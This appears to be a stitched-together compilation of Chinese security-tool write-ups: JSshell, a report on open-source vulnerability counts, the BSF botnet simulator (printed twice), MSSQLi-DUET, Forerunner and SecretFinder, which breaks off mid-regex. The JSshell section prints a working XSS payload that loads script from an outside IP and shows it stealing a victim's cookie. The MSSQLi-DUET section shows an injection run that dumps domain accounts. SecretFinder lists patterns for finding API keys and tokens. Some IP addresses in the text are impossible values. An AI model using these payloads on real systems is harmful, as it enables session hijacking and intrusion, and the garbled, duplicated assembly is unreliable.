OIP.jpgJSshell是一个JavaScript反向Shell工具,该工具可以帮助广大研究人员远程利用XSS漏洞或扫描并发现XSS盲注漏洞。当前版本的JSshell支持在Unix和Windows操作系统上运行,并且同时支持Python2和Python3。跟JShell(一款由s0med3v开发的通过XSS漏洞获取JavaScript反向Shell的工具)相比,这是一个非常大的更新,而且JSshell还不需要Netcat的支持,这一点跟其他的JavaScript Shell也有很大的区别。

工具下载

广大研究人员可以使用下列命令将JSshell项目源码克隆至本地:

git clone https://github.com/shelld3v/JSshell.git

工具使用

生成JS反向Shell Payload:-g

设置本地端口号,用于监听和生成Payload(默认设置为4848):-p

设置本地源地址,用于生成Payload(JSshell默认将使用设备IP地址):-s

设置shell连接的超时时长,如果用户退出页面,shell将会暂停,如果设置了超时时长,那么在一段时间无响应之后,shell将会自动关闭:-w

拿到Shell之后,执行命令:-c

快速使用样例

js.py

js.py -g

js.py -p 1234

js.py -s 48.586.1.23 -g

js.py -c "alert(document.cookie)" -w 10


JSshell运行样例

接下来,我们将给大家演示如何一步一步使用JSshell来利用XSS漏洞。

首先,我们将生成一个反向JS Shell Payload,并设置shell超时时长为20秒:

~# whoami

root

~# ls

README.md   js.py

~# python3 js.py -g -w 20

 __

|(_  _ |_  _  |  |

\_|__)_> | |(/_ |  |

v1.0

Payload:

<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)>

Listening on [any] 4848 for incoming JS shell ...

接下来,将生成的Payload拷贝到存在XSS漏洞的网站(或URL)中:

https://vulnwebs1te.com/b/search?q=<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},1248)>

访问目标页面,接下来我们将看到已经成功拿到了反向JS Shell:

__

|(_  _ |_  _  |  |

\_|__)_> | |(/_ |  |

v1.0
Payload:<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)>
Listening on [any] 4848 for incoming JS shell ...
Got JS shell from [75.433.24.128] port 39154 to DESKTOP-1GSL2O2 4848

$ established

$ the

$ shell

$

$

$ help

JSshell using javascript code as shell commands. Also supports some commands:

help                  This help

exit, quit            Exit the JS shell

$

现在,我们就可以执行某些命令了:

$ var test = 'hacked'

$ alert(hacked)

$

运行之后,浏览器将弹出一个警告信息:hacked

$ prompt(document.cookie)$

浏览器将会打印出用户Cookie信息:

JSESSION=3bda8...

$ exit

~# whoami

root

~# pwd

/home/shelld3v

~#


项目地址

JSshell:【GitHub传送门

1592131586_5ee6000235c35.jpg!small

近期,安全专家们对目前最热门的54个开源项目进行了分析和研究,并且发现这些开源工具中存在的安全漏洞数量在2019年翻了一倍。因为2018年相同开源项目中的漏洞仅为421个,而在去年这些项目中的漏洞数量激增为了968个。

根据RiskSense近期发布的《The Dark Reality of Open Source》报告,RiskSense的安全研究专家在2015年至2020年3月份之间,在当前热门的开源项目中总共发现并报告了2694个安全漏洞。但是,这份报告中并没有涵盖类似Linux、WordPress、Drupal等非常热门的免费工具或项目,因为这些项目是经常被安全人员监控着的,这些项目中一旦出现了安全漏洞,也会在很短的时间内得到修复。

但是,RiskSense关注的是其他热门的开源项目,相比上述的开源项目来说,这些项目的关注度并没有那么高,但是它们仍然被技术社区和软件社区所广泛使用,比如说Jenkins、MongoDB、Elasticsearch、Chef、GitLab、Spark、Puppet等工具。

RiskSense的研究人员表示,他们在研究过程中发现的一个主要问题是,他们分析的大量安全漏洞都是已经在被公开披露数周后才被上报给国家漏洞数据库(NVD)的。研究人员表示,在这54个项目中被发现的漏洞,平均需要54天天才能被上报给NVD,而针对PostgreSQL的漏洞报告甚至会延长至8个月才能得到上报。

下面给出的是RiskSense提供的项目漏洞报告延迟天数表:

1592131595_5ee6000be2348.png!small

由于网络安全和IT软件公司大多都会使用NVD数据库来创建和发送安全警报,而漏洞报告的延迟将导致公司组织或旗下产品暴露在安全风险之下。除此之外,这种漏洞报告延迟还将允许网络犯罪分子拥有充足的时间来开发和部署漏洞利用程序,并丰富自己的武器库。

RiskSense的研究人员表示,在他们所分析的54个热门开源项目中,针对Jenkins自动化服务器和MySQL数据库服务器的漏洞利用工具是自2015年以来最多的,分别都有15个已成熟的武器化漏洞利用工具。

下面给出的是各个开源项目对应的CVE漏洞数量以及漏洞利用工具数量:

1592131609_5ee600198d934.png!small

由此可见,漏洞数量其实跟漏洞利用工具数量之间并没有直接的联系。

虽然其他开源项目的安全漏洞较少,但这些安全漏洞有时更容易被武器化,例如Vagrant虚拟化软件和Alfresco内容管理系统。

下面给出的是各个项目漏洞武器化CVE百分比:

1592131625_5ee6002900edf.png!small

在现在所有的商业软件项目中,开源项目几乎占了99%,毫无疑问,现在正是需要改进开源项目内部以及整个行业处理安全漏洞的方式的最佳时机。这一点,比以往任何时候都更加紧要,因为“开源项目正在以历史上最快的速度产生新的漏洞”。

参考来源

zdnet

BSF是一款功能强大的僵尸网络模拟框架,BSF为安全研究人员提供了一个独立的模拟环境来实现和扩展对等僵尸网络,允许安全防御人员调整它们的设置,并对目标僵尸网络进行评估监视和制定安全策略。

框架概要

在僵尸主机与安全防御者双方之间的安全博弈,僵尸主机一直都占据了上风,因为防御者必须对僵尸主机展开的攻击行动和新型威胁做出反应。为了应对这种现实状况,僵尸网络模拟框架(BSF)便应运而生。它允许防御者通过开发和评估新的僵尸网络监控技术以及应对策略来在安全博弈中占据上风,这是至关重要的,因为在野外进行实验会干扰其他研究人员,而且还会引起僵尸网络的控制者的注意。

BSF允许点对点的僵尸网络进行逼真的模拟实验,以探索和研究针对目标僵尸网络的监控机制,并在其真正产生威胁之前设计出相应的应对机制。BSF是一款功能强大的僵尸网络模拟器,它提供了一组高度可配置(和可自定义)的僵尸网络功能,其中包括:

1、现实的攻击行为

2、可变的僵尸主机行为

3、监视机制(爬虫和传感器)

4、反监控机制

此外,BSF还提供了一个交互式的可视化模块来进一步研究仿真结果。BSF旨在使研究人员和防御者能够研究在存在反监控机制的情况下不同监控机制的设计。此外,该工具还允许用户去探索和了解迄今为止已被发现的僵尸网络所产生的恶意影响。

工具安装

BSF由仿真框架和可视化工具组成,仿真框架本身是建立在OMNeT ++之上的;可视化模块构建在Dash之上,它可以在您喜欢的浏览器中提供交互功能。

广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/tklab-tud/BSF.git

设置OMNeT ++

当前版本的BSF是在OMNeT ++ 5.4.1环境中构建和测试的。

有关OMNeT ++ 提供的功能,请参阅OMNeT ++文档以获得安装指南、教程和参考资料。

设置可视化组件

为了以可视化的形式进行僵尸网络模拟,我们还需要安装以下Python软件包:

pip install dash==1.2.0      # The core dash backend

pip install dash-daq==0.1.0  # DAQ components (newly open-sourced!)

pip install networkx

工具使用

OMNeT ++的模拟功能是基于.ini文件中的定义来配置的。这个代码库中的simulations文件夹包含了一组预定义的配置,位于tests.ini和sample.ini文件中。

要运行该配置,可以使用OMNeT ++ IDE工具或命令行工具来执行。由于BSF不使用OMNeT ++工具所提供的任何图形特性功能,因此,我们建议在cmdenv环境中运行所有的模拟实验,即只使用控制台输出数据。

在IDE中运行模拟实验

要在IDE中运行模拟实验,首先需要设置运行配置项。右键单击* .ini文件并选择Run As- > Run Configurations,接下来设置您的配置文件。

IDE运行配置设置演示

现在,点击应用并运行,模拟的输出数据将显示在IDE控制台中。

使用命令行工具运行仿真实验

要使用命令行工具运行仿真实验,我们需要首先构建项目,找到项目的根目录文件夹并运行下列命令:

make MODE=release all

然后找到项目内的simulations文件夹并运行:

../BSF -r 0 -m -u Cmdenv -c SampleConfig_Crawler -n .. samples.ini

输出模拟数据

无论通过IDE还是通过命令行工具运行模拟实验,我们都可以看到类似以下形式的数据输出:

** Event #577792   t=64831.46985369179   Elapsed: 4.21157s (0m 04s)  37% completed  (37% total)

     Speed:     ev/sec=180486   simsec/sec=14682   ev/simsec=12.293

     Messages:  created: 406512   present: 2108   in FES: 487

Just crawled: 24 nodes at 88983.25891616358

Just crawled: 40 nodes at 92583.25891616358

** Event #1050880   t=93607.74036896409   Elapsed: 6.28757s (0m 06s)  54% completed  (54% total)

     Speed:     ev/sec=227885   simsec/sec=13861.4   ev/simsec=16.4402

     Messages:  created: 729732   present: 2106   in FES: 630

Just crawled: 108 nodes at 96183.25891616358

Just crawled: 286 nodes at 99783.25891616358

Just crawled: 570 nodes at 103383.25891616358

以**开头的模块是OMNeT ++的标准输出,显示了模拟的进度和统计数据信息。在特定的配置中,爬虫程序有额外的输出数据,报告每次爬取期间发现的节点数量。虽然这并不能告诉我们太多信息,但是在下一节中,我们将告诉大家如何以可视化的形式展现僵尸网络的输出和爬虫程序的结果。

可视化结果

BSF的设计是将可视化模块与仿真框架分离的,基于生成的图形和监视日志文件之上工作。我们还上传了一些示例数据,以便在不运行主框架的情况下体验可视化功能。

为了以可视化的形式模拟分析结果,必须找到visualization文件夹并调用app.py文件。然后打开您喜欢的浏览器并输入网址http://127.0.0.1:8050/,这里可以为您提供一个示例配置的图形视图,如下所示:

屏幕右上方的下拉菜单允许您选择不同配置的结果。在屏幕的底部,你可以看到一个时间轴,指示所有可用的僵尸网络快照。它还可以允许我们实时查看僵尸网络的连接和活动变化。除此以外,右侧的菜单还允许将爬虫或传感器收集的信息以可视化的形式呈现出来。下图是一个示例,其中爬虫的视图以绿色突出显示。

此外,我们目前正在开发更高级的可视化功能,以帮助安全研究人员更好地进行僵尸网络分析。

项目地址

BSF: GitHub传送门】

参考资料

 

* 参考来源:tklab-tud,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

BSF是一款功能强大的僵尸网络模拟框架,BSF为安全研究人员提供了一个独立的模拟环境来实现和扩展对等僵尸网络,允许安全防御人员调整它们的设置,并对目标僵尸网络进行评估监视和制定安全策略。

框架概要

在僵尸主机与安全防御者双方之间的安全博弈,僵尸主机一直都占据了上风,因为防御者必须对僵尸主机展开的攻击行动和新型威胁做出反应。为了应对这种现实状况,僵尸网络模拟框架(BSF)便应运而生。它允许防御者通过开发和评估新的僵尸网络监控技术以及应对策略来在安全博弈中占据上风,这是至关重要的,因为在野外进行实验会干扰其他研究人员,而且还会引起僵尸网络的控制者的注意。

BSF允许点对点的僵尸网络进行逼真的模拟实验,以探索和研究针对目标僵尸网络的监控机制,并在其真正产生威胁之前设计出相应的应对机制。BSF是一款功能强大的僵尸网络模拟器,它提供了一组高度可配置(和可自定义)的僵尸网络功能,其中包括:

1、现实的攻击行为

2、可变的僵尸主机行为

3、监视机制(爬虫和传感器)

4、反监控机制

此外,BSF还提供了一个交互式的可视化模块来进一步研究仿真结果。BSF旨在使研究人员和防御者能够研究在存在反监控机制的情况下不同监控机制的设计。此外,该工具还允许用户去探索和了解迄今为止已被发现的僵尸网络所产生的恶意影响。

工具安装

BSF由仿真框架和可视化工具组成,仿真框架本身是建立在OMNeT ++之上的;可视化模块构建在Dash之上,它可以在您喜欢的浏览器中提供交互功能。

广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/tklab-tud/BSF.git

设置OMNeT ++

当前版本的BSF是在OMNeT ++ 5.4.1环境中构建和测试的。

有关OMNeT ++ 提供的功能,请参阅OMNeT ++文档以获得安装指南、教程和参考资料。

设置可视化组件

为了以可视化的形式进行僵尸网络模拟,我们还需要安装以下Python软件包:

pip install dash==1.2.0      # The core dash backend

pip install dash-daq==0.1.0  # DAQ components (newly open-sourced!)

pip install networkx

工具使用

OMNeT ++的模拟功能是基于.ini文件中的定义来配置的。这个代码库中的simulations文件夹包含了一组预定义的配置,位于tests.ini和sample.ini文件中。

要运行该配置,可以使用OMNeT ++ IDE工具或命令行工具来执行。由于BSF不使用OMNeT ++工具所提供的任何图形特性功能,因此,我们建议在cmdenv环境中运行所有的模拟实验,即只使用控制台输出数据。

在IDE中运行模拟实验

要在IDE中运行模拟实验,首先需要设置运行配置项。右键单击* .ini文件并选择Run As- > Run Configurations,接下来设置您的配置文件。

IDE运行配置设置演示

现在,点击应用并运行,模拟的输出数据将显示在IDE控制台中。

使用命令行工具运行仿真实验

要使用命令行工具运行仿真实验,我们需要首先构建项目,找到项目的根目录文件夹并运行下列命令:

make MODE=release all

然后找到项目内的simulations文件夹并运行:

../BSF -r 0 -m -u Cmdenv -c SampleConfig_Crawler -n .. samples.ini

输出模拟数据

无论通过IDE还是通过命令行工具运行模拟实验,我们都可以看到类似以下形式的数据输出:

** Event #577792   t=64831.46985369179   Elapsed: 4.21157s (0m 04s)  37% completed  (37% total)

     Speed:     ev/sec=180486   simsec/sec=14682   ev/simsec=12.293

     Messages:  created: 406512   present: 2108   in FES: 487

Just crawled: 24 nodes at 88983.25891616358

Just crawled: 40 nodes at 92583.25891616358

** Event #1050880   t=93607.74036896409   Elapsed: 6.28757s (0m 06s)  54% completed  (54% total)

     Speed:     ev/sec=227885   simsec/sec=13861.4   ev/simsec=16.4402

     Messages:  created: 729732   present: 2106   in FES: 630

Just crawled: 108 nodes at 96183.25891616358

Just crawled: 286 nodes at 99783.25891616358

Just crawled: 570 nodes at 103383.25891616358

以**开头的模块是OMNeT ++的标准输出,显示了模拟的进度和统计数据信息。在特定的配置中,爬虫程序有额外的输出数据,报告每次爬取期间发现的节点数量。虽然这并不能告诉我们太多信息,但是在下一节中,我们将告诉大家如何以可视化的形式展现僵尸网络的输出和爬虫程序的结果。

可视化结果

BSF的设计是将可视化模块与仿真框架分离的,基于生成的图形和监视日志文件之上工作。我们还上传了一些示例数据,以便在不运行主框架的情况下体验可视化功能。

为了以可视化的形式模拟分析结果,必须找到visualization文件夹并调用app.py文件。然后打开您喜欢的浏览器并输入网址http://127.0.0.1:8050/,这里可以为您提供一个示例配置的图形视图,如下所示:

屏幕右上方的下拉菜单允许您选择不同配置的结果。在屏幕的底部,你可以看到一个时间轴,指示所有可用的僵尸网络快照。它还可以允许我们实时查看僵尸网络的连接和活动变化。除此以外,右侧的菜单还允许将爬虫或传感器收集的信息以可视化的形式呈现出来。下图是一个示例,其中爬虫的视图以绿色突出显示。

此外,我们目前正在开发更高级的可视化功能,以帮助安全研究人员更好地进行僵尸网络分析。

项目地址

BSF: GitHub传送门】

参考资料

 

* 参考来源:tklab-tud,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

MSSQLi-DUET

MSSQLi-DUET是一款针对MSSQL数据库的SQL注入脚本,它能够利用RID爆破技术来从一个活动目录环境中提取出域用户信息。该工具支持各种Web应用防火墙绕过技术,并且实现了SQLMap Temper功能。除此之外,广大研究人员还可以根据自己的需求以及目标环境来单独使用其中的Temper功能。

该工具有两种使用方式,一种是直接以Python脚本的方式在命令行终端中使用,另一种就是以Burp Suite插件的形式使用,这种方法可以使用简单的GUI导航。

当前版本的MSSQLi-DUET仅支持基于Union的注入方式,之后我们会进行大量测试来保证其他注入技术的稳定性和准确性。

工具下载

广大研究人员可以使用下列命令将MSSQLi-DUET项目源码克隆至本地:

git clone https://github.com/Keramas/mssqli-duet.git

工具使用

Burp Suite插件使用

在将插件上传至Burp Suite中之后,右键点击一个请求,然后选择将其发送给MSSQLi-DUET。随后,更多的相关参数和详细信息都将显示给用户

请求将会填充请求窗口,点击运行输出之后,我们就可以直接查看到输出结果了:

Python脚本使用

脚本帮助信息:

python3 mssqli-duet.py -h

usage: mssqli-duet.py [-h] -i INJECTION [-e ENCODING] -t TIME_DELAY -rid

                      RID_RANGE [-ssl SSL] -p PARAMETER [-proxy PROXY]

                      [-o OUTFILE] -r REQUEST_FILE




MSSQLi-DUET - MSSQL (Injection-based) Domain User Enumeration Tool




optional arguments:

  -h, --help            show this help message and exit

  -i INJECTION, --injection INJECTION

                        Injection point. Provide only the data needed to

                        escape the query.

  -e ENCODING, --encoding ENCODING

                        Type of encoding: unicode, doubleencode, unmagicquotes

  -t TIME_DELAY, --time_delay TIME_DELAY

                        Time delay for requests.

  -rid RID_RANGE, --rid_range RID_RANGE

                        Hypenated range of RIDs to bruteforce. Ex: 1000-1200

  -ssl SSL, --ssl SSL   Add flag for HTTPS

  -p PARAMETER, --parameter PARAMETER

                        Vulnerable parameter

  -proxy PROXY, --proxy PROXY

                        Proxy connection string. Ex: 127.0.0.1:8080

  -o OUTFILE, --outfile OUTFILE

                        Outfile for username enumeration results.

  -r REQUEST_FILE, --request_file REQUEST_FILE

                        Raw request file saved from Burp




Prepare to be enumerated!

如何使用?

当你在一个目标应用程序中成功识别出了一个基于Uion注入的注入点,你就可以直接使用Burp Suite的“copy to file”功能来获取到请求元数据了。

使用-r选项将存储的请求信息发送给MSSQLi-DUET,并指定漏洞参数和注入点信息。比如说,如果漏洞参数为“element”,注入类型为SQL注入,那么-p参数值就是“element”,MSSQLi-DUET将会自动构建SQL注入查询。演示样例如下:

Ex: test'

    test'))

    test")"

工具使用样例

python3 mssqli-duet.py -i "carbon'" -t 0 -rid 1000-1200 -p element -r testrequest.req -proxy 127.0.0.1:8080

[+] Collected request data:

Target URL = http://192.168.11.22/search2.php?element=carbon

Method = GET

Content-Type = applcation/x-www-form-urlencoded







[+] Determining the number of columns in the table...

        [!] Number of columns is  3

[+] Determining column type...

        [!] Column type is null

[+] Discovering domain name...

        [+] Domain = NEUTRINO

[+] Discovering domain SID...

S-1-5-21-4142252318-1896537706-4233180933-




[+] Enumerating Active Directory via SIDs...




NEUTRINO\HYDROGENDC01$

NEUTRINO\DnsAdmins

NEUTRINO\DnsUpdateProxy

NEUTRINO\HELIUM$

NEUTRINO\BORON$

NEUTRINO\BERYLLIUM$

NEUTRINO\aeinstein

NEUTRINO\bbobberson

NEUTRINO\csagan

NEUTRINO\ccheese

NEUTRINO\svc_web

NEUTRINO\svc_sql

注意事项

在我们的使用过程中,可能需要研究人员根据目标数据库的列类型以及其他限制来对脚本代码进行自定义修改。

项目地址

MSSQLi-DUET:【GitHub传送门

 

* 参考来源:Keramas,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

图片1.png

Forerunner

Forerunner是一个快速的、轻量级的并且可扩展的网络库,它可以帮助研究人员开发一个以网络为中心的健壮的应用程序,比如说IP扫描器、端口扫描器、客户端以及服务器等等。当前版本的Forerunner,能够支持针对端口和IP地址进行同步或异步扫描,并收集关于目标设备的地理位置信息和终端信息,比如说IP地址是否在线以及设备的物理MAC地址等等。这个库是一个完全面向对象和基于事件的库,这意味着扫描数据都将包含在精心编制的“scan”对象之中,而这些对象旨在处理涵盖从结果到异常的所有数据。

工具依赖

1、.NET Framework v4.6.1

功能介绍

方法名 描述 使用样例
Scan 扫描IP地址并收集信息 Scan(“192.168.1.1″);
ScanRange 扫描IP地址范围并收集信息 ScanRange(“192.168.1.1″, “192.168.1.255″)
ScanList 扫描IP地址列表并收集信息 ScanList(“192.168.1.1, 192.168.1.2, 192.168.1.3″)
PortKnock 扫描单个IP地址的所有端口 PortKnock(“192.168.1.1″);
PortKnockRange 扫描IP地址范围内的所有端口 PortKnockRange(“192.168.1.1″, “192.168.1.255″);
PortKnockList 扫描IP地址列表中的所有端口 PortKnockList(“192.198.1.1, 192.168.1.2, 192.168.1.3″);
IsHostAlive 多少毫秒扫描主机N次 IsHostAlive(“192.168.1.1″, 5, 1000);
GetAveragePingResponse 获取目标主机平均ping响应 GetAveragePingResponse(“192.168.1.1″, 5, 1000);
IsPortOpen 通过TCP&UDP来ping单个端口 IsPortOpen(“192.168.1.1″, 45000, new TimeSpan(1000), false);

工具下载

广大研究人员可以使用下列命令将项目源码克隆至本地:

git clone https://github.com/jasondrawdy/Forerunner.git

工具使用样例

IP扫描

在网络安全研究过程中,扫描一个网络是一种非常常见的任务了,因此我们应该通过尽可能简单的方法来实现这个目标,以方便未来的安全研究人员去做同样的事情。Forerunner是一个完全面向对象的功能库,因此非常适合所谓“即插即用”的情况。其中,用于IP扫描的对象被称之为IPScanObject,这个对象包含了下列几种参数属性:

Address (String)

IP (IPAddress)

Ping (Long)

Hostname (String)

MAC (String)

isOnline (Bool)

Errors (Exception)

有了对象的概念之后,我们可以尝试创建一个新的对象,并使用它来执行一次扫描任务。最简单的方法就是先创建一个新的Scanner对象,并通过它来访问我们的扫描方法。接下来,创建一个IPScanObject对象,并使用目标IP地址来设置其Scan方法。

同步扫描:

using System;

using Forerunner; // Remember to import our library.

namespace Example

{

    class Program

    {

        static void Main(string[] args)

        {

            // Our IP we would like to scan.

            string ip = "192.168.1.1";

            // Create a new scanner object.

            Scanner s = new Scanner();

            // Create a new scan object and perform a scan.

            IPScanObject result = s.Scan(ip);

            // Output that we have finished the scan.

            if (result.Errors != null)

                Console.WriteLine("[x] An error occurred during the scan.");

            else

                Console.WriteLine("[+] " + ip + " has been successfully scanned!")

            // Allow the user to exit at any time.

            Console.Read();

        }

    }

}

另一种方法是创建Scanner对象并订阅ScanAsyncProgressChangedScanAsyncComplete之类的事件处理程序,这样我可以完全控制异步方法,我可以控制它们影响应用程序的进度状态等等。

异步扫描:

using System;

using System.Threading.Tasks;

using Forerunner; // Remember to import our library.

namespace Example

{

    class Program

    {

        static void Main(string[] args)

        {

            // Our IP we would like to scan.

            string ip = "192.168.1.1";

            // Setup our scanner object.

            Scanner s = new Scanner();

            s.ScanAsyncProgressChanged += new ScanAsyncProgressChangedHandler(ScanAsyncProgressChanged);

            s.ScanAsyncComplete += new ScanAsyncCompleteHandler(ScanAsyncComplete);

            // Start a new scan task with our ip.

            TaskFactory task = new TaskFactory();

            task.StartNew(() => s.ScanAsync(ip));

            // Allow the user to exit at any time.

            Console.Read();

        }

        static void ScanAsyncProgressChanged(object sender, ScanAsyncProgressChangedEventArgs e)

        {

            // Do something here with e.Progress, or you could leave this event

            // unsubscribed so you wouldn't have to do anything.

        }

        static void ScanAsyncComplete(object sender, ScanAsyncCompleteEventArgs e)

        {

           // Do something with the IPScanObject aka e.Result.

            if (e.Result.Errors != null)

                Console.WriteLine("[x] An error occurred during the scan.");

            else

                Console.WriteLine("[+] " + e.Result.IP + " has been successfully scanned!")

        }

    }

}

端口扫描

跟IP地址扫描一样,端口扫描可以通过一组预定义的端口来尝试进行端口连接,并检查目标端口是否真正开启。它将尝试通过与每个端口进行连接并发送数据包来进行端口探测。这个功能同样是通过一个自定义对象来实现的,即”Port Knock Scan Object“,简称为“PKScanObject”。 PKScanObject对象实际上包含一个PKServiceObjects列表,该列表将保存返回的全部端口数据,该服务对象包含下列参数属性:

IP (String)

Port (Int)

Protocol (PortType)

Status (Bool)

首先,我们需要创建一个Scanner对象,然后创建一个新的PKScanObject对象并使用目标IP来设置PortKnock方法,然后工具将显示扫描结果给我们。

同步扫描:

using System;

using Forerunner; // Remember to import our library.

namespace Example

{

    class Program

    {

        static void Main(string[] args)

        {

            // Our IP we would like to scan.

            string ip = "192.168.1.1";

            // Create a new scanner object.

            Scanner s = new Scanner();

            // Create a new scan object and perform a scan.

            PKScanObject result = s.PortKnock(ip);

            // Output that we have finished the scan.

            if (result.Errors != null)

                Console.WriteLine("[x] An error occurred during the scan.");

            else

                Console.WriteLine("[+] " + ip + " has been successfully scanned!")

           // Display our results.

           foreach (PKServiceObject port in result.Services)

           {

                Console.WriteLine("[+] IP: " + port.IP + " | " +

                                  "Port: " + port.Port.ToString() + " | " +

                                  "Protocol: " + port.Protocol.ToString() + " | " +

                                  "Status: " + port.Status.ToString());

           }

           // Allow the user to exit at any time.

           Console.Read();

        }

    }

}

异步扫描:

using System;

using System.Threading.Tasks;

using Forerunner; // Remember to import our library.

namespace Example

{

    class Program

    {

        static void Main(string[] args)

        {

            // Our IP we would like to scan.

            string ip = "192.168.1.1";

            // Setup our scanner object.

            Scanner s = new Scanner();

            s.PortKnockAsyncProgressChanged += new PortKnockAsyncProgressChangedHandler(PortKnockAsyncProgressChanged);

            s.PortKnockAsyncComplete += new PortKnockAsyncCompleteHandler(PortKnockAsyncComplete);

            // Start a new scan task with our ip.

            TaskFactory task = new TaskFactory();

            task.StartNew(() => s.PortKnockAsync(ip));

            // Allow the user to exit at any time.

            Console.Read();

        }

        static void PortKnockAsyncProgressChanged(object sender, PortKnockAsyncProgressChangedEventArgs e)

        {

            // Display our progress so we know the ETA.

            if (e.Progress == 99)

            {

                Console.Write(e.Progress.ToString() + "%...");

                Console.WriteLine("100%!");

            }

            else

                Console.Write(e.Progress.ToString() + "%...");

        }

        static void PortKnockAsyncComplete(object sender, PortKnockAsyncCompleteEventArgs e)

        {

            // Tell the user that the port knock was complete.

            Console.WriteLine("[+] Port Knock Complete!");

            // Check if we resolved an error.

            if (e.Result == null)

                Console.WriteLine("[X] The port knock did not return any data!");

            else

            {

                // Check if we have any ports recorded.

                if (e.Result.Services.Count == 0)

                    Console.WriteLine("[!] No ports were open during the knock.");

                else

                {

                    // Display our ports and their details.

                    foreach (PKServiceObject port in e.Result.Services)

                    { 

                        Console.WriteLine("[+] IP: " + port.IP + " | " +

                                          "Port: " + port.Port.ToString() + " | " +

                                          "Protocol: " + port.Protocol.ToString() + " | " +

                                          "Status: " + port.Status.ToString());

                    }

                }

            }

        }

    }

}

许可证协议

Forerunner项目的开发和发布遵循MIT开源许可证协议。

项目地址

Forerunner:【GitHub传送门

参考来源

jasondrawdy

SecretFinder工具介绍

SecretFinder是一款基于LinkFinder实现的Python脚本(如需BrupSuite版本,请点击这里),该工具的主要功能是帮助研究人员发现JavaScript文件中的敏感数据,例如apikeys、accesstoken、authorizations和jwt等。它通过将jsbeautifier for Python与大量的正则表达式结合使用来实现其功能,其中的正则表达式由四个小的正则表达式组成,这些正则表达式将能够帮助我们查找和搜索js文件中的任何内容。

工具将能够以HTML或纯文本形式输出搜索数据:

工具帮助信息

usage: SecretFinder.py [-h] [-e] -i INPUT [-o OUTPUT] [-r REGEX] [-b]

                       [-c COOKIE] [-g IGNORE] [-n ONLY] [-H HEADERS]

                       [-p PROXY]




optional arguments:

  -h, --help            show this help message and exit

  -e, --extract         Extract all javascript links located in a page and

                        process it

  -i INPUT, --input INPUT

                        Input a: URL, file or folder

  -o OUTPUT, --output OUTPUT

                        Where to save the file, including file name. Default:

                        output.html

  -r REGEX, --regex REGEX

                        RegEx for filtering purposes against found endpoint

                        (e.g: ^/api/)

  -b, --burp            Support burp exported file

  -c COOKIE, --cookie COOKIE

                        Add cookies for authenticated JS files

  -g IGNORE, --ignore IGNORE

                        Ignore js url, if it contain the provided string

                        (string;string2..)

  -n ONLY, --only ONLY  Process js url, if it contain the provided string

                        (string;string2..)

  -H HEADERS, --headers HEADERS

                        Set headers ("Name:Value\nName:Value")

  -p PROXY, --proxy PROXY

                        Set proxy (host:port)

工具安装

SecretFinder的当前版本支持Python 3环境。

广大研究人员可以使用下列命令将该项目源码克隆至本地:

$ git clone https://github.com/m4ll0k/SecretFinder.git secretfinder

$ cd secretfinder

$ python -m pip install -r requirements.txt or pip install -r requirements.txt

$ python SecretFinder.py

工具使用

该工具的基础功能是在在线JavaScript文件中使用默认正则表达式查找敏感数据,并将HTML结果输出到results.html:

python3 SecretFinder.py -i https://example.com/1.js -o results.html

CLI / STDOUT输出(如果不使用jsbeautifier的话,运行速度将非常快):

python3 SecretFinder.py -i https://example.com/1.js -o cli

分析整个目标域以及其中包含的JS文件:

python3 SecretFinder.py -i https://example.com/ -e

使用命令“-g –ignore”向工具提供需要忽略的js文件(例如外部代码库等等):

python3 SecretFinder.py -i https://example.com/ -e -g 'jquery;bootstrap;api.google.com'

使用“-n –only”命令让工具只处理特定的js文件:

python3 SecretFinder.py -i https://example.com/ -e -n 'd3i4yxtzktqr9n.cloudfront.net;www.myexternaljs.com'

使用您的正则表达式:

python3 SecretFinder.py -i https://example.com/1.js -o cli -r 'apikey=my.api.key[a-zA-Z]+'

其他选项:添加Header,代理和cookie:

python3 SecretFinder.py -i https://example.com/ -e -o cli -c 'mysessionid=111234' -H 'x-header:value1\nx-header2:value2' -p 127.0.0.1:8080 -r 'apikey=my.api.key[a-zA-Z]+'

该工具可以接受以下所有输入参数:

URL:例如https://www.google.com/ [-e]是必需的

JS URL:例如https://www.google.com/1.js

文件夹:例如myjsfiles / *

本地文件:例如/js/myjs/file.js

添加正则表达式

打开项目内的SecretFinder.py文件,并添加您的正则表达式:

_regex = {

    'google_api'     : r'AIza[0-9A-Za-z-_]{35}',

    'google_captcha' : r'6L[0-9A-Za-z-_]{38}|^6[0-9a-zA-Z_-]{39}$',

    'google_oauth'   : r'ya29\.[0-9A-Za-z\-_]+',

    'amazon_aws_access_key_id' : r'AKIA[0-9A-Z]{16}',

    'amazon_mws_auth_toke' : r'amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}',

    'amazon_aws_url' : r's3\.amazonaws.com[/]+|[a-zA-Z0-9_-]*\.s3\.amazonaws.com',

    'facebook_access_token' : r'EAACEdEose0cBA[0-9A-Za-z]+',

    'authorization_basic' : r'basic\s*[a-zA-Z0-9=:_\+\/-]+',

    'authorization_bearer' : r'bearer\s*[a-zA-Z0-9_\-\.=:_\+\/]+',

    'authorization_api' : r'api[key|\s*]+[a-zA-Z0-9_\-]+',

    'mailgun_api_key' : r'key-[0-9a-zA-Z]{32}',

    'twilio_api_key' : r'SK[0-9a-fA-F]{32}',

    'twilio_account_sid' : r'AC[a-zA-Z0-9_\-]{32}',

    'twilio_app_sid' : r'AP[a-zA-Z0-9_\-]{32}',

    'paypal_braintree_access_token' : r'access_token\$production\$[0-9a-z]{16}\$[0-9a-f]{32}',

    'square_oauth_secret' : r'sq0csp-[ 0-9A-Za-z\-_]{43}|sq0[a-z]{3}-[0-9A-Za-z\-_]{22,43}',

    'square_access_token' : r'sqOatp-[0-9A-Za-z\-_]{22}|EAAA[a-zA-Z0-9]{60}',

    'stripe_standard_api' : r'sk_live_[0-9a-zA-Z]{24}',

    'stripe_restricted_api' : r'rk_live_[0-9a-zA-Z]{24}',

